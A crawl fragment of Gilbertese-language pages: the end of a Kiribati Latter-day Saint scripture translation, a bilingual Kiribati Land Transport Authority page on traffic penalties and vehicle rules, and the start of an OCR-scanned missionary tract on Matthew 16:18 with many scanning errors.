rairana.\"\n· · · · · · ·\n66 N 5 bongin Eberi, 1829, aOliver Cowdery e roko n au auti, ao ni karokoa te tai aei I tuai man noria. E taekinna nakoiu bwa e bon tia reirei n te reirei ae kaan ma te tabo are e maeka iai tamau, ao tamau bon temanna i buakoia ake a kanakoia natiia nakon te reirei, ao e nako ni maeka n te tai ae e aki maan n ana auti, ao ngke e mena ikekei te utu a taekina nakoina aron reken taian bwaatua irou, ao ai ngaia are e a roko bwa e na titirakinai.\n67 Uabong i mwiin rokon Mr. Cowdery (are 7 n Eberi) I moana rairan Ana Boki Moomon, ao e moanna ni koroboki ibukiu.\n· · · · · · ·\n68 Ti bon teimatoa ni mwakuri n rairairi, ngke, n te namwakaina are i mwina (Meei, 1829), ngaira n te bong ae e onoti ti nakon te buakonikai ni tataro ao ni bubutia te Uea ni kaineti ma te abwabetito ibukin bkamaunaan bure, are ti kunea bwa e taekinaki n te rairairi n taian bwaatua. Ngke ti tabe ni karaoa aei, n tataro ao ni wewetea te Uea, te ctia uarongorongo mai karawa e ruo n te dnang ae e oota, ao ngke e tia ni katokai ebaina i aora, e fkatabuira, ni kangai:\n69 I aomi raou ni mwakuri, n aran te Mesia, I anga te aNakoanibonga ae te Aaron, are e taui kiingin aia mwakuri ni ibuobuoki anera, ao te euangkerio n rairannano, ao ni bwabetito ni kateboaki i an te ran ibukin kamaunaan bure, ao aio e na bon aki manga anaaki man te aonaba ni karokoa natin bRewi mwaane a manga anga karea nakon te Uea n te raoiroi.\n70 E taekinna bwa te Nakoanibonga ae te Aaron aio akea iai te mwaaka ni katokabai ibukin ana abwaintituaraoi te Tamnei ae Raoiroi, ma aio e na anga nakoira rimwi; ao e tuangira bwa ti na nako ni bwabetitoaki, ao e anganiira te kaetieti bwa N na riai ni bwabetitoa Oliver Cowdery, ao i mwina e na bwabetitoai.\n71 Ngaia are ti a nako ao ti bwabetitoaki. I bwabetitoia moa, ao i mwina e bwabetitoai—i mwina I katokai baiu i aon atuuna ao I a katabua nakon te Nakoanibonga ae te Aaron, ao i mwina e katokai baina i aou ao e katabuai nakon te Nakoanibonga naba arei—n aron are ti tuangaki.*\n72 Te tia uarongorongo are e roko iroura n te tai aei ma n anganiira te Nakoanibonga aei, e taku bwa arana Ioane, ae titebo ma are e aranaki bwa aIoane te Tia Bwabetito n te Nu Tetemanti, ao bwa e mwakuri i aan aia kaetieti bBetero, cIakobo ao dIoane ake a taui ekiingin te Nakonibonga ae te fMerekitereka, are te Nakoanibonga, are e taku, bwa e na katokaaki i aora n te tai ae riai, ao bwa N na aranaki bwa te moan gUnimwaane n te Ekaretia, ao ngaia ae (Oliver Cowdery) te kauoman. Bon te bong ae tebwi ma nimaua iai bongin Meei, 1829, are ti katabuaki i aan bain te tia uarongorongo aei, ao ni bwabetitoaki.\n73 N te tai naba are ti otirake iai man te ran i mwiin tiara ni bwabetitoaki, ti namakina kakabwaiaakira ae korakora ma ni mimitong mai iroun Tamara are i Karawa. N te tai naba are I tia ni bwabetitoa Oliver Cowdery, ao e ruo te aTamnei ae Raoiroi nako aona, ao e teirake ao e btaetae ni burabetii bwaai aika a bati ake a na waekoa ni koro bukiia. Ao teuana riki, bwa n te tai ae waekoa ngke I tia ni bwabetitoaki irouna, I karekea naba tamnein te taeka ni burabeti, ngke I teirake, I taetae ni burabeti ni kaineti ma rikiraken te Ekaretia aei, ao bwaai riki tabeua aika a mwaiti ake a irekereke ma te Ekaretia, ao natiia aomata n te roro aei. Ti kaonaki n te Tamnei ae Raoiroi, ao ni kimwareirei iroun te Atua are te tia kamaiuira.\n74 Ibukina bwa ara iango a bon kaotaaki, ti a moanna ni amataata ni koroboki aika tabu, ao nanoia ni bkoaua ao te kaantaninga ni kiibu aika a rang n raba nanoia a kaotaki nakoira n te aro are ti aki kona ni karekea mai mwaina, ke n aki kona ni iangoia mai mwaina. N te tai aei ti bon kairoroaki bwa ti na aki kaota aron anganakira te Nakoanibonga ao tiara ni bwabetitoaki, ibukin nanoia ni kan bwainikirinira are e a kaman otara irouia kaain te aono arei.\n75 Ti a bon tia ni kakamaakaki bwa ti na kamwaruaki irouia taan iowawa, man te tai teuana nakon te tai teuana, ao aio naba, irouia taan onimaki n te aro. Ao nanoia ni iowawa nakoira a bon totokoaki n aia kona n taua aroia ana utu taman kaainabau (i aan ana kairi te Atua), ake a rang ni boutokaai, ao a bon ribaia taan iowawa, ao a kukurei bwa N na kariaiakaki ni reita nako te mwakuri n rairairi n akea katokitokana; ao ngaia are a anganano ao a berita bwa a na kamanoira man waaki ni kabane aika a aki eti i aan te tua, n aron aia konabwai.\nOliver Cowdery e kabwarabwarai bwaai aika a riki aikai n aron aei: \"Aikai boong aika a na aki mwanuokinaki—n tekateka n ongora n tangin te bwana are e kairaki mai karawa, e kauta te kakaitau ae moan te korakora ni bwanibwaniu! N te bong teuana ma teuana I waaki nako, n akea tokitokina, ni koroboki man ana wareware, ngke e rairairi ma te Urim ao te Tammim, ke, n aron are a na taekinna tenaan Nibwaite, 'Taan Raira' te rongorongo ngkoa ke te rongorongo ae e aranaki bwa 'Ana Boki Moomon.'\n\"N na taekinna, n taeka tabeua, te rongorongo ae e kakaongora are e anga Moomon ao natina te mwaane ae e kakaonimaki, Moronaai, ibukiia te botanaomata ae a tangiraki ao a mwannanoaki ngkoa mai karawa, e na riaon au baire ngkai; ngaia are N na katuka aio nakon te tai ae i mwaira, ao, n aron are I taekinna mai moana, ni waaki nakon tabeua bwaai aika a riki aika iai reitakiia raoi ma moan katean te Ekaretia aio, are e na kona ni kakukurei nakoia ngaa ake a tia n eutiia rake, ri buakon mataia n aki kukurei taan bakan raoiroi ao aia bukibuki ni kewe bwaritaio, ao ni mwanea Ana Euangkerio Kristo.\n\"Akea aomata, ae a iango raoi, ae a kona n rairi kaetieti ake anganaki Nibwaite man wiin te Tia Kamaiu, ibukin aroia raoi aomata ni katea Ana Ekaretia, ao ai moarara riki n te tai are aroaro aika buakaka a kabuta nako te raraoma i aon baire nako ma waaki aika kammwakuraki i buakoia aomata, n akean te nano n tangira kabwaiaia ni kaota te nano ni kukurei n taunaki n te rua ni mate ae te ran, ni kaeka 'te nano ae raoiroi ni mangautin Iesu Kristo.'\n\"I mwin korean te rongorongo are e anga ibukin ana mwakuri ni ibuobuoki te Tia Kamaiu nakoia nikiraia ana kariki Iakobwa, i aon te aba aio, e bon beebete noorana, n aron are e taekinna te burabeti bwa e na beebete, bwa te roo e na rabuna te aonaba ao te rotongitong e rabuna aia iango aomata. Ni iangoana riki e bon beebete bwa e na nooraki ae i buakon te kakauntaeka ae korakora ao te karongoa ni kaineti ma te aro, akea ae iai kariaiakana mai iroun te Atua bwa e na kamwakuri taian otenanti n te Euangkerio. Bwa e kona n taekinaki te titiraki, iai te kariaia irouia aomata ni karaoi mwakuri n aran Kristo, ake a kaakeai taian kaotioti, ngke Ana kakoaua e aki karako riki nakon tamnein te taeka ni burabeti, ao Ana aro e kabotoaki, kateaki, ao ni boutokaaki man kaotioti aika ineti, n rooro nako n te aonaba ngke iai Ana botanaomata i aon te aonaba? Ngkana bwaai aika iai koauaia aikai a taunaki, ao a karauaki raoi ni karabaaki irouia aomata ake rabakauia e na reke n te kaangaanga ngkana n te tai are kariaiakaki iai bwa e na ota ni moamoaia aomata, a na bon aki raba nakoira, ao ti bon tii tataninga te tua bwa e na anga 'Teirake ao bwabetitoaki.'\n\"E tuai maan i mwin tangiran aio i mwain ae e karaoaki. Te Uea, ae e kaubwai n te nanoanga, ao e tatauraoi n taai nako ni kaekai aia tataro ae teimatoa uaake a mangori, i mwin are ti a tia ni weteia ma nanora ni koaua, ni kararoaira man aia maeka aomata, e kamangoria ni kaota nanona nakoira. E karina, n aron ae man ae akea tokina, bwanaan te Tia Kabooira n taekina te rau nakoira, ngke e kaukaki te rabuna ao ana anera te Atua e ruo ni kunikaiaki n te mimitong, ao n anga te rongorongo are e ingainga ni kakaeaki, ao kiingin te Euangkerio n rairannano. Ai te kimwareirei tera! Ai te kamiimi tera! Ai te kakubanako tera! Ngke e tabe te aonaba ni kammarakaki ao ni kamwaninganakoaki—ngke mirion a tabe ni kakaea te oo n ai aron te mataki, ao ngke aomata ni kabaneia a tiku ni mwioko i aon te raraoma, n te rabwata ae bwanin, matara a nooria, taningara a ongo, 'n ai aron ootan te ngaina'; eng, e raka riki—e riaon raneanean otan taai ni Meei, are e kaota ngkanne raneaneana i aon bwaai nako! Ngkanne bwanaana, e ngae ngke e maraara, e ninianako nanoia, ao ana taeka, 'Ngai raomi n tia mwakuri,' e kabuanakoa te maaku ni kabane. Ti kakauongo, ti miakinna, ti kamoamoa! Bon bwanaan te anera man are e mimitong, bon te rongorongo mai iroun are Moan te Rietata! Ao ngke ti ongora ti kimwareirei, ngke Ana tangira e namakinaki i nanora, ao ti niraki ni kaotin Are Moan te Mwaaka! E nga nnen te nanououa? Akea nnena; te raraoma e a tia ni birinako, e a inako te nanououa n aki manga otirake, ngke karaki ni iango ao te kewe a nako n aki toki!\n\"Ma, tariu ae tangiraki, iango, iango teutana te tai, tera te kimwareirei ae kaona nanora, ao tera te bwai ae kakubanako ae ti na bobaraki iai, (bwa antai ae na aki katorobubua ibukin te kakabwaia ae ai aron aei?) ngke ti karekei i aan baina te Nakoanibonga ae Tabu ngke e kangai, 'I aomi raou n tia mwakuri, n aran te Mesia, I anga te Nakoanibonga aei ao te kariaia aei, are e na tiku i aon te aonaba, bwa aonga Natin Rewi mwaane ni kona n anga te karea nakon te Uea i nanon te raoiroi!'\n\"N na aki kataia ni korea bannan taian namakin n te nano aio nakoimi, ke kakannaton tamaroana ao mimitongina are e otabwaninira n te tai aio; ma kam na kakoauaai ngkana I kangai, bwa te aonaba, ke aomata, ma rabakauia n taetae rinanon te tai ae maan, aki kona ni unekenekea te taetae n te aro ae na kakaongora ao n anai nano n aron te aomata ae tabu aei. Akea, ao bon akea mwaakan te aonaba n anga te kimwareirei, n anga te rau, ke n ataa te wanawana are kanoai kibu n taeka n tatabeua nako n aroia ngke a karokoaki ni mwaakan te Tamnei ae Raoiroi! Te aomata e kona ni kewea raona n aomata, te kewe e kona n rimwin te kewe, ao natin teuare e buakaka a kona ni iai mwaakaia n anaa nanoia ake a nanobaba ao a bangabwai, ni karokoa ae akea riki ma ti te karaki ni kewe ae na kamwarakeia aika mwaiti, ao uaan te kewe e uota n airana naake a tanoi nakon te ruanimate, ma teuana ringaia n tabonibain ana tangira, eng, teuana otan mimitongina man te aonaba are i eta, ke teuana te taeka mai wiin te Tia Kamaiu, man bwanibwanin ae akea tokina, e oroia ni kabane ni kaakea bonganaia, ao ni kamaunai n aki toki man te iango. Te kakoaua bwa ti mena i matan te anera, ao koauan ae ti ongo bwanaan Iesu, ao te koaua ae akea kairuana ngke e raanga mai iroun te aomata ae itiaki, ae tuangaki iroun te Atua bwa e na taekinna bwa nanona, irou e bon aki kona ni kabwarabwaraaki, ao N na aki toki n tarai taekan raoiroin te Tia Kamaiu ma te miimi ao te kakaitau n au tai ae I kariaiakaki iai n tiku ni maiu; ao ni nne ni maeka akekei ike e maeka iai te kororaoi ao e aki kona n roko iai te bure, I tangiria n neboia n te bong arei are akea tokina.\" Messenger and Advocate, boki 1 (Okitobwa 1834), iteraniba 14–16.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.churchofjesuschrist.org\/study\/scriptures\/pgp\/js-h\/1?lang=gil","date":"2021-12-07T16:06:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363400.19\/warc\/CC-MAIN-20211207140255-20211207170255-00022.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":8769,"character_repetition_ratio":0.053,"word_repetition_ratio":0.001,"special_characters_ratio":0.231,"stopwords_ratio":0.464,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Penalty Infringement Notice \/Katua inanon te kawai\nAn authorized officer may stop you at random and carry out inspection for traffic rules and road codes infringements. The said officer may issue a penalty infringement notice and a prescribed penalty for any detected infringement. Penalty infringement must be paid within the specific days and at the Kiribati Land Transport Authority Office. (Te Tia Tararuae kona ni kateiko ao ni karaoa ana tutuo ni kaineti ma tuan te kawai ao tuan kabonganaan te kawai. Aobitia aikai a kona naba ni kanakoi katuua ni kaineiti ma aia kukune. Katuua akanne ana riai ni kabwakaaki inanon taina anne e mwaneweaki nakon Aobitin te Kiribati Land Transport Authority)\nPayment of an infringement penalty is not a conviction; however, non-payment is an offence and warrants prosecution. Conviction for non-payment will appear as a criminal conviction. (Kabwakaan tuaam bon tiaki kuneakim ni bure n te kabowi ma aki kabwakaana e na uotiko nakon te Kabowi. Kuneakim ni bure n te kabowi e na bon riki bwa am taua ni mwii ni kaineti ma te Tua).\nEncroachment onto public highway\nAct or omission whether it be private or commercial within the reserve public road area that is likely to damage the highway or otherwise adversely affect the safety or use of it are not encouraged. Authorised officers have the power to arrest any person who commits an act or omission that is likely to damage the highway or otherwise adversely affect the safety use of it. (Mwakuri ake a karaoaki inanon mwaken te kawai are e a tia ni kakinaaki ake ana kona n rota ke n urua te kawai ke ni kona n rota aron kabonganaan te kawai a bon aki kaungaaki.Te Tia Tararua iai mwakaia ni kona ni katikitiki ni kaineti ma mwakuri akanne).\nDefect Notice\nAn authorized officer may stop you at random and carry out inspection to your vehicle. The said officer may issue a defect notice and you must comply with the conditions specified therein within the prescribed time frame. (Te Tia Tararua e kona ni kateiko ao ni karao ana tutuo nakon te bao ni mwamwananga. Aobitia aikai a kona naba ni kanakoi Kaetieti ni kaineti ma aia kukune ao ko bon riai ni kakoroi nanon kaetieti akanne inanon te maan anne ko anganaki).\nFailure to comply is an infringement and attract a prescribed penalty but not a conviction; however, non-payment is an offence and warrants prosecution. Conviction for non-payment will appear as a criminal conviction. (Aki karaona nanon kaetieti akanne bon te kairua ao ko na tua iai ma ko aki bure imatan te kabowi. Ma e na uotiko nakon te Kabowi ngkana ko aki kabwaka tuuam.. Kuneakim ni bure n te kabowi e na bon riki bwa am taua ni mwii ni kaineti ma te Tua).\nModifying Vehicles\/kanimakin\/kunimaan ke bwai n raka iaon te bao n mwamwananga.\nModifying vehicles in any way such as attaching muffler causing big noises, tinting windscreen, attaching extra lights, modifying horn sounds etc. is a crime under the Traffic Act. An authorized officer may stop you and carry out inspection, penalty will be served to those who do not comply. (kunimaniakin te bao n mwamwananga n aron aikai, kanimakin tenan exhaust ae na karika te kaberoro ae riao, karooan kiratin te bao n mwamwananga ae riaon te tua, kanimakin taura aika ana karika te kateke mata nakoia taan kabongana te kawai, ao kanimakin tenan buu\/biimbiim n bita tangin te bao n mwamwananga nakon are bon mai imwaina. bon te bure iaan te tua ae te Traffic Act, te aobitia ae anganaki te kariaiakaki e kona n kateiko ao n karaoa te tutuo nakon baom n mwamwananga ao n anga te katuua n aki iran nanon tua aikai).\nRoad rules, Example\/ Tabeua katoto n tuan tekawai\nPedestrian Crossing\/Koroua ni kawai\nDrivers on vehicles must stop and give way to pedestrian, when crossing from one side to the other.\n(Bao ni mwamwananga ana riai n anga te kawai nakoia taan kabogana te koroua ni kawai).\nGive way\/Anga te kawai\nRoad & Highway Safety\/Road Signs\nPermit for proposed for safety work within Highway Boundaries\/Beba n kariaia ibukin mwakuri aika mano n irekereke ma mwaken te kawai.\nAn applicant must fill out Form B to clarify the purpose for the proposed work within the highway boundaries following the payment fee then will approved by the KLTA. (imwain karaoan te mwakuri ao e bon riai teuare\/neiere ni kanoa te Form B ibukin kabwarabwaran te mwakuri ae ena karaoaki n irekereke ma mwaken te kawai ao ibukin karekean te beba n kariaia ibukin te bubuti n irekereke ma ae tia n maneweaki n raonaki ma te bwakamwane, imwain rinanoakina ao man kabwataki man te KLTA.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/landtransport.ki\/enforcement1.html","date":"2022-05-21T16:06:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662539131.21\/warc\/CC-MAIN-20220521143241-20220521173241-00183.warc.gz","language":"gil","language_score":0.998935163,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 0.9989351630210876}","num_words":783,"character_repetition_ratio":0.059,"word_repetition_ratio":0.075,"special_characters_ratio":0.191,"stopwords_ratio":0.234,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Te Ba\nao\nKin.\nTera te ba are e a kateaki\nte Ekaretia i aona ?\nao\nAntai ae taui kinin Uean\nte Atua?\nA KAEKAKI TAIAN TITIRAKI AIKAI\nMAN TAELAN TE BAIBARA\nI NANON TE BOKI AEI.\nBona 3d.\nE a boretiaki n te L. M. S. Press, Ronorono, Beru,\nGilbert Islands.\n1\nIN na katea au Ekaretia i aon\nte ba aei.\nWareware, Mataio 16: 13-28.\nTe Boto, Mataio 16: 18.\nE taku (lean') nako ia (tan tuatua), Ao nkami kam taku ba\nantai Nai ? Ao e kaeka Timoni Betero ni kanai, Bon te Kristo\nNkoe, are Natin te Atua are main. Ao E kaeka Iesu ni kanai,\nKo a kabaia, Timon, ae natin Iona : ba e aki kaota aeinako im\nte iriko ma te rara, ma E kaotia Taman are i karawa. Ao I taku\nnako im, ba Betero ae te atibu nkoe, ao N na katea au Ekaretia\ni aon te ba aei ; a,o a. bon aki kataea ana kai mataroani neia\nta l mate . .\nNke a nori ana kakai Iesu aomata ao nke a orio ana taeka n\nreirei aika moan te rabakau ao aika maka, ao aomata a kiriwe\nnanoia ao a taku ba antai Teuaei, ae konai baikai ni karaoi. A\nkuknrei i Rouna aomata aika bati ; a kania ba a na kamaiuaki man\naorakia, ao a iria ba a a.oiia ni kaamarakeaki i Rouna n te aro ae\nkamimi. Temanina a kan rineia ba. aia Uea rikae E a moan te\nmaka. ana makuri ao e a kamimi arona. Ma, e a kaokoro aia iario\nBaritaio ao iboiia ba a taku ba rikana a bane a.omata. n ira Iesu, ao\na na aki kani mana oriora i rouia ma ni kairaki i rouia. A maku\nba a kawa n riki ni ma nori nakoaia i mataia aomata. rikae E a\nkaoti Te Tia Reirei ae bou ae moan te kamimi aei; ao a bane\naomata ni kan iria. Ma riaia ae a, riba, Iesu. A ataki bai ni\nkabane aikai iroun Iesu. E namakinna lesu ba a, tuai n ota\naomata n arona, ni koaua ; tao akea ake a kakoaua ba te Mesia are\n\/Vna Kristo te Atua, ba ti rikana tao iai i buakoia ana reirei aika\nTan Tuatua aika a airi ma Naia, tabeman aika a kaureaki mataia\niroun te Atua.\nE a tia ni kitania aomata Iesu, ao E a kaea. te nukamotu are e\na kani ma Kaitareia Biribi ike E kona n rau iai, ba E bon ataia ba\nE a kani kabanean ana makuri i aon te maiu aei, ao E kani katau-\nraoi nakoni matena ni kamaiu are e boni kantaninaki i Rouna.\nAo E taniria ana reirei Iesu ba, a na namakina raoi arona, ba E\naoria ni kona n reireia riki ma ni katauraoi nanoia i bukini katakin\naia onimaki are nan roko. Ma naia ae E a titirakinia lesu, ao E\nkariai, k,A taku aomata ba antai Natin te aomata. ? Ao ana reirei a\nkaeka ma, ni kaoti aia iano aomata aika kakaokoro, ba tabeman a\ntaku ba bon Ioane are te tia Babetito are e a mana uti mai buako-\nia mate ; ao temanina. a taku ba tao Eria are a kantaninaia ba e na\nmana roko i main te Mesia ; ao temanina a taku ba tao te bura-\nbeti ae Ieremia, ke tao te burabeti temanna.\nAo lesu E kani kataia ma. n noria ke tao iai i buakoia ana\nreirei ake a wanawana riki nakoia aomata n aki akaka,, ake a tia n\nnamakina arona ni koaua ba bon te Kristo Naia. Ma miia are E\na mana titirakinia ni kanai, Ao nkami, kam taku ba antai Nai ? E\n2\na roko Iesu ba E na kania.iuia aomata, ao ba E na katea ana Eka-\nretia i aonaba i bukia aomata aika onimakinna, ao E kan noria ke\ntao iai te onimaki irouia ana reirei aika a a tia, ni bobotaki ma\nNaia ma n nora arena. Ao nice E a titirakinia, ao e kaeka\nBetero ni kaiiai, kkBon te Kristo Nkoe, are Natin te Atua are main.\nE a bati ni kukurei Iesu nke E noria ba E kona Timon ni kaota\nte oniniaki aei n te tai are a bakantan Baritaio ma ibona ao a\nriribaia ma ni kani kamatea, ao like a ba.ra nanoia aomata aika\nbati i bukina nke E rawa Iesu ni kaueaki i ronia n riki ba kana\nuean aon te aba ao te tia karaoi kakai ni kakukureia aomata ni\nbain aon te aba. E ataki iroun lesu ba. ti aomata aika a kaureaki\nliiataia iroun te Atua, ba a 11a kina ba. te Kristo aika a kona ni\nkakoaua ma 11 onimakinna ma n riki ba ana Ek are tia i aonaba.\nMa riaia ae E a kaeka Timon ao E ka.riai, Ko a kaba-ia, Timon, ae\nnatin Iona ; ba e aki kaota aei nako im te iriko ma te rara (arc aia toeka\nI-Iutaia ni kaonoli te aornata) ma E kaotia. Taman are i karavva. Ao\nI t-aku nako im, ba Betero ae te atibu nkoe (kaua, Ko a rildriikoreilan'Ci\nma n nene n ai aeon te atibu, i bukin am oniniaki) ao N na katea au\nEkaretia i aon te ba aei ... (ae kakoauan lesu ba te Kristo n ai\naeon are e a kakoaua Betero).\nEri, bon te onimaki aei ae e a tokanikai ia.i ana Ekaretia. Kristo,\nao a bon aki kataea- ana kai inataroani neia tamneia mate. Ake\na kakoaua lesu ba te Kristo are Na tin te Atua are main, boni riaia\nkai 11 ana Ekaretia Kristo are te Ekaretia ae kataea. ana kai te aba.\nAo an tai ae a kakoaua ba te Kris co ao aia. Tia Eamaiu, Iesu, ke\nBetero? Bon lesu. Bon akea te iario ae okoro irouia Tan Tuatua\nrikekei, ao bon akea te iario ae okoro irouni Betero, ba boni naia\nare e a tiba kakonua. lesu ba te Kristo. Ao akea, te iario ni kani\nkarinea Betero ba aorikoa, boni naia an. ana Ekaretia Kristo ni ka-\nrokoa, tienture aika rimwi nke a. kakaea te bai teuana bobe are a\nkona ni kekeiaki ni kamatoa aia tau-taeka i aon te Ekaretia are e\nni worn we- 11 te tai arei. Ao rikai ti noria bae bati ni bainaki irouia\nbobe ma ake a maniria 11 aia taetae ni kani kamoamoaki, te taeka\nanne ba ti Betero te ba ae e a kateaki iai ana Ekaretia Kristo, ao\nba aorikoa a kona bobe i Ko in 11 tau-taeka ni matoatoa i aon ana\nEkaretia Kristo ba bukina like a taku ba a bonota mwini Betero,\nao ti rial n neneria- raoi te taeka aei, ma 11 ukoukora te koa.ua are\nti a reireiaki iai 11 te Nu Tetemanti i bukin ana Ekaretia Kristo.\nAo aio te koaua are ti kunea n te Nu Tetemanti, ao are ti akairaki\niroun Tamil ein te Atua are mamakuri i nanoni mataniwin nanora\nba ti na kakoaua ba kawain te kamaiu i bukira:\nAn te Ekaretia ni koaua boni Kristo ao tiaki te aomata\ntemaima ; ao te ba are e a kateaki iai te Ekaretia boni kako-\nauan lesu ba te Kristo, are Natm te Atua ae main.\nNkana tao boni Betero an te Ekaretia., ao e aera rikae e aki\naranaki ba ana Ekaretia Betero, ao tiaki ana Ekaretia Kristo? 2V0\nrikana tao bon ana. bai Betero n ti riaia. 11 taua, taekan te Ekaretia,\nao e aera, nke e aki mate Betero ni kamaiua ana Ekaretia.? Ao e\naera like e aki mana ufci Betero mai buakoia mate ni kakoaua\nmakana n ai aron are E a tia ni in a na. uti lesu are te Kristo are\n3\nNatin te Atua are main ao are E maiu 11 aki toki baatunana Eka-\nretia ao an aia onimaki Kristian ni koaua ni kabaneia ? Ai kawa\nra aomata aika a burebureaki aika a katea aia onimaki i aon te\naomata ae Betero, ao tiaki i aon Iesu Kristo are te Tia Kamaiu ae\nti Temanna!\nBa boni Betero are e a taetae nakoia iboiia ma aia tia tau\ntaeka aomata ma tani koroboki i Ierutarem i inwini Bentekota,\nnke e a kaonal^i Betero n te Tamnei are Raoiroi, ao e kanai:\n.......Boni Naia {ae lesu) te atibu are e kaakeaki borianana i\nroumi, nkami aika tani katei maneaba, are riki ba bouan te mani-\nrianiria. Ao akea te kamaiu iroun temanna; ba bon akea te ara\nteuana i ani karawa ae a ananaki aomata ae ti konaki ni ka-\nmaiuaki iai ba ti aei. (Makuri 4 : 11-12.\nAo ai kawa ra. aomata aika a mataki aika a. kariaia ba e na\ntau taeka i aon tamneiate aomata temanna ae te bo be are e a kail\nrawea ni karan te tau-taeka n tamnei are ana bai Iesu Kristo n ti\nNaia!\nBon ti Iesu Kristo an ana Ekaretia, ao bon ti ake a kakoaua\nIesu ba te Kristo, are Natin te Atua are maiu, aika a nene aia oni-\nmaki i aon te ba lii koaua. Akea te tia tuatua temanna. are e a\nmatairiki ana. makuri i bukin ana Uea nakon teuare Bauro. Ao\nakea ae e a tia ni katea Ana Ekaretia lesu ni kawa. aika maiti riki\nnakoni Bauro. Ao tera ana taeka Bauro? Bon aei:-- Ba e aki\nkona temanna ni bairea, ana teuana, ma ti are a tia ni baireaki are lesu\nKristo. (I. I-Kori. 3: 11).\nE a kabotaua ana Ekaretia Kristo nakon te maneaba, ao e\ntaku ba ae ai aron te tia katei ma-neaba ae rabakaji ae e bairea. an\nte ma.neaba, ba te b:a, ao riaia naba e a tia ni katea ana Ekaretia\nKristo .i Korinto i aon te ba, are onimaki mm lesu Kristo, ba bon\nti lesu Kristo ana are e a, tia. ni baireaki iroun te xVtua.\nEii, bon lesu Kristo an te Ekaretia, ao tiaki te aomata temanna,\nao te ba are e a kateaki iai te Ekarelia boni kakoauan\nlesu ba te Kristo are Natin te Atua are maiu. E kakoaua arei\nBetero, ao ti a kakoaua naba.\nAo tera aron te Ekaretia are e a kateaki i aon te ba aei ?\nE a kateaki te Ekaretia n atibu aika maiu aika Kristian\naika a kakoaua lesu ba te Kristo, are Natin te Atua are maiu.\nTera oin ana taeka n reirei Betero i bukin te Ekaretia ao i\nbukia Kristian aika a kakoaua, Iesu ba te Kristo, ao aia Uea?\nNora ana moan reta Betero, makoro 2, ao kibu 3-6. E kanai Betero :-\n. ba kam aona n ikawai iai ni kamaiuaki; nkana tao kam a tia ni kata\nte Uea ba E raoiroi: kam kakawaria, ae te atibu ae maiu, ae boni kakiaki\nirouia aomata, ma e rineaki iroun te Atua, ao E karineaki, ao kam kateaki\nba karia atibu aika maiu, bate bata ae nen te Tamnei, ba te koraki n ibona\nae raoiroi, ba kam na ana karea aika bain te tamnei aika taniraki iroun te\nAtua iroun Iesu Kristo. Ba e koreaki n te Baibara ae kanai, Noria, I\nkawenea te atibu i Tion, ae bouan te inaninanina ae moan te kakanato, ae\nrineaki, ae kakawaki, ao ane oniinakinna ao e na bon aki kamamaeaki ,\n4\nEfi, e kakoaua Iesu Kristo Betero ba bon Iesu te atibu ae moan\nte kakanato, ae rineaki, ae kakawaki; ao e taku Betero ba Kristian\naika a onimakinna a na bon aki kamamaeaki, ma a riki ni kateaki\nba, kana atibu aika maiu, ba te bata ae nen te Tamnei.\nTi aki kona n riki ba kain ana Ekaretia. ni koaua Iesu Kristc\nnkana ti kakoaua ti Betero ba te atibu ae ii a tei iai, ma ti riki ba\nkain ana Ekaretia ni koaua Iesu Kristo nkana. ti katotona Betero\nma ni kakoaua Iesu Kristo are te atibu are moan te kakanato, are\nkaweneaki iroun te Atua ba. ti na katea ara onimaki i aona,. Ao\nnkana ti kakoaua Iesu n ai aroni Betero are e a kakoaua Iesu ao ti\na riki ba kana atibu aika maiu naira n a,11a Ekaretia, Iesu Kristo\nare batan Tamnein te Atua.\nAo nkana ti a mana nora ara kibu, (Mata,io IB : 18) ao ti a\nnora ana. taeka Iesu ae kauai, Ba Betero ae te atibu nkoe. E koaua\nBetero bon te moani Kristian are e a kakoaua Iesu ba te\nKristo, are Natin te Atua are maiu, ma naia are e a riki ba te\nmoan atibu are kaweneaki i aon te ba are an ana Ekaretia\nKristo.\nI bukin tera iikae e atonaki ba te atibu, ao ter a, te bai ae e a\nriki n ai aron te atibu iai ?\nIesu are E kona n ata rimoa aron Timon, E a kamani kaotia\nba e na aranaki ba Betero. Ao nkai e a tia ni kakoauaki arana.\nE a tia n onimakina, Iesu ba te Kristo, ao te onimaki arei e a onika\naron a ma ni kakorakora n ai aron te atibu. Nkana e a bati n tao-\nnaki te tano ma ni kabuebue ao e kona n onikaki ba te atibu. Ao\nlike e a, kataki Betero ao e a, kakoaua arona are e a. kamani kinaki\niroun Iesu. E a riki ba te aomata ae korakoraae nene ae ai aronte\natibipi bukin onimakinan Iesu i rouna.\nNke E a moa n taetae Iesu n taeka. aikai, ti taku ba tao E a\ntaetae n taetaen te aba arei are Aramaic, ao E a baina te taeka\nKepha j.re nanona te bai ae matoatoa. ae ai aron te ba ke te\natibu. Nkana ti nora. Ioane 1 : 42, e a boretiaki n te taetae ni\nKiribati, ba Keba ; Ko na aranaki ba Keba ae ai aron ae Betero ae\nte atibu. Nora naba I. I-Korinto 1 : 12 ; ao 3 : 22.- Ao nke e a\nmoani koreaki te Nu Tetemanti, ao e a koreaki n te taetae n Erene,\nao te taeka Keplia e a, koreaki n te taetae n Erene ae kanai\npetra, ae nanona te ba ; ao a rani Betero e a koreaki ba Petros,\nae nanona, te atibu. Kana e a koreaki irouni Mataio ba ana taeka\nIesu nakoni Betero ae kanai, Boni Petros (ae le atibu) nkoe, ao N na\nkatea au ekaretia i aon te petra (ae te Pa) aei. E anaki arani Betero\nman a ran te bai ae matoatoa ae te ba, ma e a. kaokoro ba kana ti\nmakoro n te ba naia, ae te atibu. Arana tiaki petraP (ae te Pa)\nma Petros (ae te at ibui). Ai ti te arona nan on taeka aikai ba te\nbai ae matoatoa, ma iai te kaokoro ba petra bon te ba ae aba-\nbald ae kaha te ba ni koaua, ao petros bon te atibu ae kana ma-\nkoron te ba, ae uarereke. E oti raoi te kaokoro n 